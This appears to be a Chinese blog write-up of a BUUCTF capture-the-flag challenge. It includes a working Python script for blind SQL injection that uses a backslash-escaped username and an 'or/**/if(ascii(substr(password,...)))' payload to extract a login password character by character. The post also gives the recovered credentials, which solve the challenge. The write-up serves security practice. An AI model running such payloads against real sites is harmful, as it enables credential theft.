buuctf-[BJDCTF 2nd]简单注入

打开环境，发现是个登录界面，当然，可以向sql注入方向去思考了。

访问robots.txt得到提示:hint.txt，访问hint.txt

 

 

 嘶~，还是直接上脚本吧

 1 import requests
 2 url = "http://bc5d0433-45b5-486d-8fdd-541a8662fd10.node3.buuoj.cn/index.php"
 3 
 4 data = {"username":"admin\\","password":""}
 5 result = ""
 6 i = 0
 7 
 8 while( True ):
 9     i = i + 1 
10     head=32
11     tail=127
12 
13     while( head < tail ):
14         mid = (head + tail) >> 1
15 
16         #payload = "or/**/if(ascii(substr(username,%d,1))>%d,1,0)#"%(i,mid)
17         payload = "or/**/if(ascii(substr(password,%d,1))>%d,1,0)#"%(i,mid)
18         
19         data['password'] = payload
20         r = requests.post(url,data=data)
21 
22         if "stronger" in r.text :
23             head = mid + 1
24         else:
25             tail = mid
26     
27     last = result
28     
29     if head!=32:
30         result += chr(head)
31     else:
32         break
33     print(result)

这样就能将密码跑出来

 

 

 然后用户名：admin；密码：OhyOuFOuNdit

登录上去就可以拿到flag

 

感谢大佬提供的脚本

 

posted @ 2021-04-14 21:29  AW_SOLE  阅读(104)  评论(0)  编辑  收藏  举报